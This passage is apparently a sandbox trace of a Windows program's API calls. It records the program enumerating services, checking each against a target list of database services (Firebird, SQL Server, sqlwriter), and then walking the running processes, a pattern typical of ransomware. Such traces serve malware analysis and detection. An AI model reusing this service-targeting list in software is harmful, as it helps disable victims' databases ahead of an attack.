lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0145.003] GetLastError () returned 0xea [0145.003] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x52e57a0 [0145.003] EnumServicesStatusExW (in: hSCManager=0x443de50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x52e57a0, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x52e57a0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0145.004] CloseServiceHandle (hSCObject=0x443de50) returned 1 [0145.004] lstrlenW (lpString="Appinfo") returned 7 [0145.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0145.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0145.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0145.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0145.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0145.004] lstrlenW (lpString="AppXSvc") returned 7 [0145.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0145.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0145.004] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0145.004] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0145.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0145.004] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0145.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.004] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0145.004] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0145.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0145.004] lstrlenW (lpString="Audiosrv") returned 8 [0145.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0145.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0145.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0145.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0145.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0145.005] lstrlenW (lpString="BFE") returned 3 [0145.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0145.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0145.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0145.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0145.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0145.005] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0145.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0145.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0145.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0145.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0145.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0145.005] lstrlenW (lpString="CDPSvc") returned 6 [0145.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0145.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0145.005] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0145.005] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0145.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0145.005] lstrlenW (lpString="ClickToRunSvc") returned 13 [0145.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0145.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0145.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0145.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0145.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0145.005] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0145.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0145.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0145.006] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0145.006] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0145.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0145.006] lstrlenW (lpString="CryptSvc") returned 8 [0145.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0145.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0145.006] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0145.006] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0145.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0145.006] lstrlenW (lpString="DcomLaunch") returned 10 [0145.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0145.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0145.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0145.006] lstrlenW (lpString="DeviceAssociationService") returned 24 [0145.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0145.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0145.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0145.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0145.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0145.006] lstrlenW (lpString="Dhcp") returned 4 [0145.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0145.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0145.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0145.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0145.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0145.006] lstrlenW (lpString="Dnscache") returned 8 [0145.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0145.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0145.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0145.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0145.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0145.006] lstrlenW (lpString="DPS") returned 3 [0145.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0145.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0145.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0145.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0145.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0145.007] lstrlenW (lpString="DusmSvc") returned 7 [0145.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0145.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0145.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0145.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0145.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0145.007] lstrlenW (lpString="EventLog") returned 8 [0145.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0145.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0145.007] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0145.007] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0145.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0145.007] lstrlenW (lpString="EventSystem") returned 11 [0145.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0145.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0145.007] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0145.007] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0145.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0145.007] lstrlenW (lpString="FontCache") returned 9 [0145.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0145.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0145.007] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0145.007] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0145.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0145.007] lstrlenW (lpString="gpsvc") returned 5 [0145.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0145.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0145.007] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0145.007] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0145.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0145.008] lstrlenW (lpString="iphlpsvc") returned 8 [0145.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.008] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0145.008] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0145.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0145.008] lstrlenW (lpString="KeyIso") returned 6 [0145.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0145.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0145.008] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0145.008] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0145.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0145.008] lstrlenW (lpString="LanmanServer") returned 12 [0145.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0145.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0145.008] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0145.008] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0145.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0145.008] lstrlenW (lpString="LanmanWorkstation") returned 17 [0145.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.008] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0145.008] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0145.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0145.008] lstrlenW (lpString="lfsvc") returned 5 [0145.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0145.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0145.008] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0145.008] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0145.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0145.008] lstrlenW (lpString="lmhosts") returned 7 [0145.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0145.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0145.008] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0145.009] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0145.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0145.009] lstrlenW (lpString="LSM") returned 3 [0145.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0145.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0145.009] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0145.009] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0145.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0145.009] lstrlenW (lpString="MpsSvc") returned 6 [0145.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0145.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0145.009] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0145.009] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0145.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0145.009] lstrlenW (lpString="NcbService") returned 10 [0145.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0145.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0145.009] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0145.009] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0145.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0145.009] lstrlenW (lpString="netprofm") returned 8 [0145.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0145.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0145.009] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0145.009] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0145.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0145.009] lstrlenW (lpString="NgcSvc") returned 6 [0145.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0145.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0145.009] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0145.009] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0145.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0145.009] lstrlenW (lpString="NlaSvc") returned 6 [0145.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0145.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0145.010] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0145.010] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0145.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0145.010] lstrlenW (lpString="nsi") returned 3 [0145.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0145.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0145.010] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0145.010] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0145.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0145.010] lstrlenW (lpString="PcaSvc") returned 6 [0145.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0145.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0145.010] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0145.010] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0145.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0145.010] lstrlenW (lpString="PlugPlay") returned 8 [0145.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0145.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0145.010] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0145.010] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0145.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0145.010] lstrlenW (lpString="Power") returned 5 [0145.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0145.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0145.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0145.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0145.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0145.010] lstrlenW (lpString="ProfSvc") returned 7 [0145.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0145.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0145.010] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0145.010] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0145.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0145.010] lstrlenW (lpString="RpcEptMapper") returned 12 [0145.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.011] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0145.011] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0145.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0145.011] lstrlenW (lpString="RpcSs") returned 5 [0145.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0145.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0145.011] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0145.011] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0145.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0145.011] lstrlenW (lpString="SamSs") returned 5 [0145.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0145.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0145.011] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0145.011] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0145.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0145.011] lstrlenW (lpString="Schedule") returned 8 [0145.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0145.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0145.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0145.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0145.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0145.011] lstrlenW (lpString="SecurityHealthService") returned 21 [0145.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0145.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0145.011] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0145.011] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0145.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0145.011] lstrlenW (lpString="SENS") returned 4 [0145.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0145.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0145.011] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0145.011] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0145.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0145.012] lstrlenW (lpString="ShellHWDetection") returned 16 [0145.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.012] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0145.012] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0145.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0145.012] lstrlenW (lpString="Spooler") returned 7 [0145.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0145.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0145.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0145.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0145.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0145.012] lstrlenW (lpString="StateRepository") returned 15 [0145.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0145.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0145.012] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0145.012] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0145.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0145.012] lstrlenW (lpString="SysMain") returned 7 [0145.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0145.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0145.012] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0145.012] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0145.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0145.012] lstrlenW (lpString="SystemEventsBroker") returned 18 [0145.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0145.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0145.012] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0145.012] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0145.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0145.012] lstrlenW (lpString="Themes") returned 6 [0145.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0145.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0145.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0145.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0145.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0145.013] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0145.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0145.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0145.013] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0145.013] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0145.013] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e57a0 | out: hHeap=0x510000) returned 1 [0145.013] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x334 [0145.017] Process32FirstW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.018] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0145.018] lstrlenW (lpString="System") returned 6 [0145.018] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0145.019] lstrlenW (lpString="smss.exe") returned 8 [0145.019] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.020] lstrlenW (lpString="csrss.exe") returned 9 [0145.020] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0145.113] lstrlenW (lpString="wininit.exe") returned 11 [0145.113] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, 